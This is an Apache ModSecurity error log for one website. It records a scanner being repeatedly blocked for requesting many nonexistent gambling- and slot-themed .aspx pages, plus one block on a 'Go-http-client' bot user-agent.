[Tue Feb 10 16:11:19.574374 2026] [:error] [pid 7704:tid 7719] [client 51.77.216.62:54558] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYroJ_0EcqgVBUs6CW3h_gAAAcw"]
[Tue Feb 10 16:11:22.159039 2026] [:error] [pid 47831:tid 47893] [client 51.77.216.62:54560] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYroKidxbZYarWVkiAAc1gAAAFQ"]
[Tue Feb 10 16:11:24.777765 2026] [:error] [pid 59407:tid 59409] [client 51.77.216.62:45526] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYroLGLlhBXE3qmX-JnoBAAAAUA"]
[Tue Feb 10 16:11:27.469799 2026] [:error] [pid 59407:tid 59413] [client 51.77.216.62:45538] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYroL2LlhBXE3qmX-JnoBwAAAUQ"]
[Tue Feb 10 16:11:30.154493 2026] [:error] [pid 7704:tid 7716] [client 51.77.216.62:45542] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYroMv0EcqgVBUs6CW3iDgAAAck"]
[Tue Feb 10 16:11:32.586616 2026] [:error] [pid 47837:tid 47901] [client 51.77.216.62:45556] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYroNHFY8KYFPX79Z4mpjwAAAIE"]
[Tue Feb 10 16:11:35.141659 2026] [:error] [pid 59407:tid 59409] [client 51.77.216.62:37174] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYroN2LlhBXE3qmX-JnoGQAAAUA"]
[Tue Feb 10 16:11:37.606186 2026] [:error] [pid 47837:tid 47902] [client 51.77.216.62:37176] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYroOXFY8KYFPX79Z4mpmAAAAII"]
[Tue Feb 10 16:11:40.149515 2026] [:error] [pid 47830:tid 47859] [client 51.77.216.62:37188] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYroPEco45BZs8e301AxVwAAAA0"]
[Tue Feb 10 16:11:42.581599 2026] [:error] [pid 47830:tid 47851] [client 51.77.216.62:37198] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYroPkco45BZs8e301AxXAAAAAU"]
[Tue Feb 10 16:11:45.256323 2026] [:error] [pid 7704:tid 7713] [client 51.77.216.62:58418] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYroQf0EcqgVBUs6CW3iJQAAAcY"]
[Tue Feb 10 16:11:47.691971 2026] [:error] [pid 47830:tid 47847] [client 51.77.216.62:58428] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYroQ0co45BZs8e301AxZQAAAAE"]
[Tue Feb 10 16:12:09.719652 2026] [:error] [pid 7704:tid 7719] [client 51.77.216.62:58434] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYroWf0EcqgVBUs6CW3iSAAAAcw"]
[Tue Feb 10 16:12:12.235628 2026] [:error] [pid 59544:tid 59561] [client 51.77.216.62:56782] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYroXKZySR9mFY4Baim6tQAAAY0"]
[Tue Feb 10 16:12:14.748774 2026] [:error] [pid 59544:tid 59566] [client 51.77.216.62:36062] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYroXqZySR9mFY4Baim6uwAAAZA"]
[Tue Feb 10 16:12:17.417176 2026] [:error] [pid 7704:tid 7709] [client 51.77.216.62:36072] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYroYf0EcqgVBUs6CW3iTQAAAcI"]
[Tue Feb 10 16:12:20.108813 2026] [:error] [pid 7704:tid 7730] [client 51.77.216.62:36078] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYroZP0EcqgVBUs6CW3iUgAAAdc"]
[Tue Feb 10 16:12:22.677724 2026] [:error] [pid 47831:tid 47892] [client 51.77.216.62:34918] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYroZidxbZYarWVkiAAdNQAAAFM"]
[Tue Feb 10 16:12:25.034250 2026] [:error] [pid 47937:tid 47943] [client 51.77.216.62:34922] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYroacpqXpC2CvJ3fONukAAAAMQ"]
[Tue Feb 10 16:12:27.518479 2026] [:error] [pid 47831:tid 47884] [client 51.77.216.62:34932] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYroaydxbZYarWVkiAAdOwAAAEs"]
[Tue Feb 10 16:12:29.973838 2026] [:error] [pid 30054:tid 30059] [client 51.77.216.62:34942] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYrobWecgOOXCu-GgYUCTAAAAQM"]
[Tue Feb 10 16:12:32.665628 2026] [:error] [pid 59544:tid 59571] [client 51.77.216.62:34950] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYrocKZySR9mFY4Baim6xAAAAZQ"]
[Tue Feb 10 16:12:35.067649 2026] [:error] [pid 47831:tid 47880] [client 51.77.216.62:47128] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYrocydxbZYarWVkiAAdQwAAAEc"]
[Tue Feb 10 16:12:37.668628 2026] [:error] [pid 59544:tid 59572] [client 51.77.216.62:47134] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYrodaZySR9mFY4Baim6yAAAAZU"]
[Tue Feb 10 16:12:40.318500 2026] [:error] [pid 47937:tid 47941] [client 51.77.216.62:47144] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYroeMpqXpC2CvJ3fONuqQAAAMI"]
[Tue Feb 10 16:12:42.792166 2026] [:error] [pid 47830:tid 47870] [client 51.77.216.62:35776] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYroekco45BZs8e301Ax0AAAABg"]
[Tue Feb 10 16:12:45.432897 2026] [:error] [pid 47837:tid 47923] [client 51.77.216.62:35782] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYrofXFY8KYFPX79Z4mp6AAAAJc"]
[Tue Feb 10 16:12:47.836845 2026] [:error] [pid 47837:tid 47904] [client 51.77.216.62:35790] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYrof3FY8KYFPX79Z4mp6gAAAIQ"]
[Tue Feb 10 16:12:50.466656 2026] [:error] [pid 47937:tid 47959] [client 51.77.216.62:35804] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYrogspqXpC2CvJ3fONu_wAAANQ"]
[Tue Feb 10 16:12:53.022499 2026] [:error] [pid 47830:tid 47850] [client 51.77.216.62:34618] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYrohUco45BZs8e301Ax6AAAAAQ"]
[Tue Feb 10 16:12:55.554151 2026] [:error] [pid 59544:tid 59566] [client 51.77.216.62:34630] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYroh6ZySR9mFY4Baim7EwAAAZA"]
[Tue Feb 10 16:12:57.933855 2026] [:error] [pid 47837:tid 47915] [client 51.77.216.62:34640] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYroiXFY8KYFPX79Z4mp9QAAAI8"]
[Tue Feb 10 16:13:00.442442 2026] [:error] [pid 47937:tid 47948] [client 51.77.216.62:34644] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYrojMpqXpC2CvJ3fONvCQAAAMk"]
[Tue Feb 10 16:13:02.952452 2026] [:error] [pid 7704:tid 7723] [client 51.77.216.62:57908] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYrojv0EcqgVBUs6CW3icwAAAdA"]
[Tue Feb 10 16:13:05.388023 2026] [:error] [pid 47830:tid 47847] [client 51.77.216.62:57918] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYrokUco45BZs8e301Ax_wAAAAE"]
[Tue Feb 10 16:13:07.891675 2026] [:error] [pid 47831:tid 47879] [client 51.77.216.62:57934] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYrokydxbZYarWVkiAAdkwAAAEY"]
[Tue Feb 10 16:13:29.154721 2026] [:error] [pid 7704:tid 7714] [client 51.77.216.62:57944] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYroqf0EcqgVBUs6CW3ilQAAAcc"]
[Tue Feb 10 16:13:31.657794 2026] [:error] [pid 47837:tid 47913] [client 51.77.216.62:44822] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYroq3FY8KYFPX79Z4mqPgAAAI0"]
[Tue Feb 10 16:13:34.074462 2026] [:error] [pid 47830:tid 47858] [client 51.77.216.62:35710] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYrorkco45BZs8e301AyNgAAAAw"]
[Tue Feb 10 16:13:36.704987 2026] [:error] [pid 47831:tid 47894] [client 51.77.216.62:35722] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYrosCdxbZYarWVkiAAd3QAAAFU"]
[Tue Feb 10 16:13:39.017990 2026] [:error] [pid 59544:tid 59559] [client 51.77.216.62:35728] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYros6ZySR9mFY4Baim7awAAAYs"]
[Tue Feb 10 16:13:41.572128 2026] [:error] [pid 47831:tid 47882] [client 51.77.216.62:35744] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYrotSdxbZYarWVkiAAd4wAAAEk"]
[Tue Feb 10 16:13:44.012291 2026] [:error] [pid 59407:tid 59433] [client 51.77.216.62:56516] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYrouGLlhBXE3qmX-JnolQAAAVg"]
[Tue Feb 10 16:13:46.714803 2026] [:error] [pid 47937:tid 47942] [client 51.77.216.62:56520] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYrouspqXpC2CvJ3fONvZwAAAMM"]
[Tue Feb 10 16:13:49.258786 2026] [:error] [pid 59544:tid 59570] [client 51.77.216.62:56534] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYrovaZySR9mFY4Baim7dQAAAZM"]
[Tue Feb 10 16:13:51.766251 2026] [:error] [pid 47831:tid 47875] [client 51.77.216.62:56546] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYrovydxbZYarWVkiAAd7gAAAEI"]
[Tue Feb 10 16:13:54.257126 2026] [:error] [pid 47830:tid 47859] [client 51.77.216.62:41896] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYrowkco45BZs8e301AyUQAAAA0"]
[Tue Feb 10 16:13:56.698806 2026] [:error] [pid 47831:tid 47878] [client 51.77.216.62:41902] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYroxCdxbZYarWVkiAAd-QAAAEU"]
[Tue Feb 10 16:13:59.163770 2026] [:error] [pid 47830:tid 47860] [client 51.77.216.62:41904] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYrox0co45BZs8e301AyWQAAAA4"]
[Tue Feb 10 16:14:01.656838 2026] [:error] [pid 47830:tid 47854] [client 51.77.216.62:41914] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYroyUco45BZs8e301AyXgAAAAg"]
[Tue Feb 10 16:14:04.084704 2026] [:error] [pid 47937:tid 47960] [client 51.77.216.62:59006] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYrozMpqXpC2CvJ3fONveAAAANU"]
[Tue Feb 10 16:14:06.608412 2026] [:error] [pid 47937:tid 47942] [client 51.77.216.62:59022] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYrozspqXpC2CvJ3fONvfAAAAMM"]
[Tue Feb 10 16:14:09.114371 2026] [:error] [pid 47830:tid 47866] [client 51.77.216.62:59024] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYro0Uco45BZs8e301AyYwAAABQ"]
[Tue Feb 10 16:14:11.674846 2026] [:error] [pid 47831:tid 47889] [client 51.77.216.62:59030] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYro0ydxbZYarWVkiAAeFQAAAFA"]
[Tue Feb 10 21:08:39.919688 2026] [:error] [pid 47830:tid 47847] [client 62.72.41.205:60764] [client 62.72.41.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYst10co45BZs8e301CLcgAAAAE"]
